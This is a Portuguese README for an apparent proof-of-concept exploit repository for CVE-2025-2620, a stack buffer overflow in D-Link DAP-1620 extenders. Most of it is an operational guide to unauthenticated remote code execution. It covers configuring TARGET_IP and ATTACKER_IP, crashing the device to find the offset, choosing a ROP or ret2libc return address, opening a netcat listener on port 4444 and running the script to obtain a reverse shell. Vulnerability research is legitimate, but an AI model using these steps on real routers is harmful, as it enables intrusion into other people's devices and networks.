
Exploit de prova de conceito para CVE-2025-2620, um estouro de buffer baseado em pilha crítico nos roteadores D-Link DAP-1620 permitindo execução remota de código não autenticada e acesso a shell reverso.
Este repositório contém um exploit avançado de prova de conceito (PoC) para CVE-2025-2620, uma vulnerabilidade crítica de estouro de buffer baseado em pilha descoberta no roteador D-Link DAP-1620 executando a versão de firmware 1.03. Esta vulnerabilidade permite que atacantes remotos não autenticados travem o servidor web do roteador (Negação de Serviço, DoS) e potencialmente executem código arbitrário (Execução Remota de Código, RCE).
O objetivo deste projeto é demonstrar habilidades de desenvolvimento de exploits.
CVE-2025-2620 afeta a função mod_graph_auth_uri_handler do roteador D-Link DAP-1620, especificamente no endpoint /storage. A vulnerabilidade é causada por verificação inadequada de limites, permitindo que um atacante envie uma entrada grande que excede o tamanho do buffer alocado, levando a um estouro de buffer baseado em pilha.
A função vulnerável processa um parâmetro de autenticação (auth) de requisições HTTP:
void mod_graph_auth_uri_handler(char *input) {
char buffer[512]; // Fixed-size stack buffer
strcpy(buffer, input); // No length check, causes overflow
// Process authentication...
}
Um atacante enviando um payload superdimensionado (ex.: 1024+ bytes) sobrescreve a memória adjacente, incluindo o endereço de retorno da função, potencialmente levando à execução de código.
O D-Link DAP-1620 é um extensor de alcance Wi-Fi com as seguintes especificações:
Outros roteadores/extensores D-Link com firmware semelhante também podem estar afetados.
PoC Combinado – Inclui tanto teste de estouro de buffer quanto exploit RCE.
Teste de estouro de buffer baseado em pilha – Identifica roteadores vulneráveis.
Exploit completo de execução remota de código (RCE) – Gera uma shell reversa.
Tamanho do payload e endereço de retorno configuráveis – Adaptável para diferentes modelos de roteador.
Depuração Aprimorada – Registra offsets de travamento para refinar parâmetros do exploit.
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc
Certifique-se de ter Python3 e pwntools instalados:
pip install pwntools
Modifique o script CVE-2025-2620_poc.py:
TARGET_IP = "192.168.0.1" # altere para corresponder ao seu roteador
ATTACKER_IP = "192.168.0.100" # altere para seu IP local
ATTACKER_PORT = 4444 # altere se necessário
BUFFER_SIZE = 8000 # Aumente se o roteador não travar
Modifique o PoC para gerar um padrão único e enviá-lo:
MODE = "overflow" # Defina como "overflow" para encontrar o offset
Execute o script:
python3 CVE-2025-2620_poc.py
Após travar o roteador, verifique o endereço de segfault (EIP no x86 ou RA no MIPS) a partir de:
gdb)dmesg | grep 'segfault'Procure por um endereço como 0x61616161 (o que significa que parte do padrão cíclico sobrescreveu o ponteiro de retorno).
Use cyclic_find para localizar o offset exato:
from pwn import cyclic_find
print(cyclic_find(0x61616161)) # Substitua pelo endereço de travamento
Isso fornece o valor exato de OFFSET. Atualize seu PoC:
OFFSET = <OFFSET ENCONTRADO> # Substitua pelo número real
RET_ADDR)Opção 1: Encontrar um Gadget JMP ou CALL
ROPgadget --binary vulnerable_binary | grep "jmp"
Escolha um endereço que salte para um registrador (ex.: jmp $sp ou jmp $ra).
Opção 2: Usar um endereço ret2libc
Encontre o endereço de system() na libc:
objdump -D /lib/libc.so.6 | grep "system"
Em seguida, use-o como RET_ADDR:
RET_ADDR = struct.pack("<I", 0xdeadbeef) # Substitua pelo endereço real
nc -lvnp 4444
python3 CVE-2025-2620_poc.py --mode rce
Desenvolvido com ❤️ por Otsmane Ahmed
| Métrica | Value |
|---|
| Vetor de Ataque | Network |
| Complexidade do Ataque | Low |
| Privilégios Necessários | None |
| Interação do Usuário | None |
| Impacto na Confidencialidade | High |
| Impacto na Integridade | High |
| Impacto na Disponibilidade | High |